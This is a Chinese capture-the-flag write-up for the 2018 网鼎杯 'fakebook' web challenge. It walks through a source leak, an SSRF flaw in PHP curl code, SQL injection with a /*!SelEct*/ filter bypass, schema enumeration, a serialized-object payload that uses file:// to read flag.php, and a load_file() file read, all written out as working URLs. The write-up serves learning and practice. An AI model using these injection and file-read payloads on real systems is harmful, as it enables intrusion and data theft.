首页 > 其他分享 >【2018网鼎杯】fakebook

【2018网鼎杯】fakebook

时间:2023-02-03 23:11:27浏览次数:40  
标签:php http no blog 2018 curl 网鼎杯 fakebook view

Info

信息:

题目来源:网鼎杯2018

标签:PHP源码泄露SSRF反序列化SQL

解题过程:

首先进行目录扫描,发现以下目录:

user.php.bak
login.php
flag.php
user.php
robots.txt

user.php.bak猜测存在源码泄露。

查看源码:

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。因此只要访问/var/www/html/flag.php就可以拿到flag,想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议。由于curl不仅支持http(s),还支持file协议,猜测通过其他途径使用file协议读取文件。

SQL注入

页面提供登录和注册功能,尝试进行注册;发现注册时需要填写blog,并且对与blog限制只能输入网址(SSRF?)。

注册后,首页情况如下:

fakebook1

点击链接进行查看:

fakebook2

猜测链接处存在SQL注入,进行测试:

http://220.249.52.133:41438/view.php?no=1 and 1=1		// 正常
http://220.249.52.133:41438/view.php?no=1’				// 报错
http://220.249.52.133:41438/view.php?no=0 union select 1,2,3,4		// 输出: no hack

结论,注入漏洞,但存在敏感词过滤

测试过滤敏感词:0xselect

尝试绕过select

  1. /*!SeLEct*/
  2. 大小写
  3. 双写
  4. sel<>ect

仅第一种方法有用,构建payload:

fakebook3

第二个注入点可以使用。

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(select group_concat('~',schema_name,'~') from information_schema.schemata),3,4

fakebook4

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(select group_concat('~',column_name,'~') from information_schema.columns where table_schema = database()),3,4

fakebook5

数据库名:fakebook;

表名:users;

列名:no、username、passwd、data;

fakebook6

passwd通过md5加密,data字段存放的事用户信息经过序列化的结果,结合前面 view.php 页面会加载用户的blog信息,所以这里极有可能是利用反序化数据库中的data字段,然后取出url字段并加载,即可以SSRF。

获得flag:

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123456;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

fakebook7

彩蛋

经过提示,发现之间通过SQL注入方式读取文件,获得FLAG。

猜测为非预期解。

http://220.249.52.133:41438/view.php?no=0 union /*!SelEct*/ 1,(load_file('/var/www/html/flag.php')),3,4

fakebook8

分析源码:

view.php

$db = new DB();
<?php
$no = $_GET['no'];
if ($db->anti_sqli($no))
{
    die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

$response = $user->getBlogContents();
if ($response === 404)
{
    echo "404 Not found";
}

else
{
    $base64 = base64_encode($response);
    echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
    // echo $response;
}

// var_dump($user->getBlogContents());

data一栏中的数据是通过反序列化后所得到的,可以利用这一点绕过注册时对data的限制,使用file协议读取文件。

标签:php,http,no,blog,2018,curl,网鼎杯,fakebook,view
From: https://www.cnblogs.com/chalan630/p/17090679.html

相关文章

  • 2018南京Gym - 101981J - Prime Game(计数)
    第一个元素的素因子2:它能贡献的区间有[1,1],[1,2],……,[1,10]10个区间第一个元素的素因子3:它能贡献的区间有[1,1],[1,2],……,[1,10]10个区间当前sum=10+10第二个元素......
  • P4770 [NOI 2018] 你的名字
    因为做的题太少所以不放在SAM集合里了捏,有时间(可能没时间)会补一个集合。题意:给\(S\)串和\(T\)串,和\(l_i,r_i\),求\(T\)中有多少子串和\(S[l_i,r_i]\)中的任意......
  • 新魔百和 M301H 南传JL 201803款
     https://histb.com/厂商机型:新魔百和M301H南传JL201803款CPU芯片:hi3798mv300支持64位reg名称:mv3dmw运存大小:1G存储类型及大小:EMMC8G推荐最佳刷机方式:短接U盘......
  • 2018-08-31知识小结
    安装一个本地包pacman-U/path/to/package/package_name-version.pkg.tar.xz对于网络安全来讲,似乎构造数据包是一种必要的技术手段相对于nmap来说,zenmap更适合......
  • 2018-08-29知识小结
    CIDR一个ISP准备把一些C类网络分配给各个用户群,目前已经分配了三个C类网段给用户,如果没有实施CIDR技术。ISP的路由器的路由表中会有三条下连网段的路由条目,并且会把它通告......
  • [APIO2018] 铁人两项
    题意:问有多少点(x,y,z)满足从x出发经过y到z。且点不能重复经过。题解:前置芝士1:点双有个性质:两点之间简单路径的并集刚好等于这个点双(证明用网络流模型)等价不同点uv......
  • 【题解】P4916 [MtOI2018]魔力环
    锐评:小学奥数测验思路环+循环同构,一眼知群论。考虑类似P4980【模板】Pólya定理,用Burnside引理处理。令\(G\)为循环任意次构成的置换群,研究的“点”为染色......
  • 2018-8-12 板爷第二课
    板爷课程地址:第一集? http://v.youku.com/v_show/id_XOTM5NTIxNzEy.html?第二集? http://v.youku.com/v_show/id_XOTYwNzk3Njc2.html第三集? http://v.youku.com/v_s......
  • 2018-8-12 板爷第一课
     https://v.youku.com/v_show/id_XMTI2NDQ5NDk4NA==.html板爷推荐:心得心法?搜不到这本书提问:收费软件是否有用?板爷:我自己用通达信,东方财富通。但是收费软件,首先看收费软......
  • 【题解】P4491 [HAOI2018]染色
    思路NTT优化二项式反演。首先考虑到求“正好有\(k\)种颜色出现\(S\)次”的方案数,所以可以考虑转化成求“至少有\(k\)种颜色出现\(S\)次”的方案数。形式化......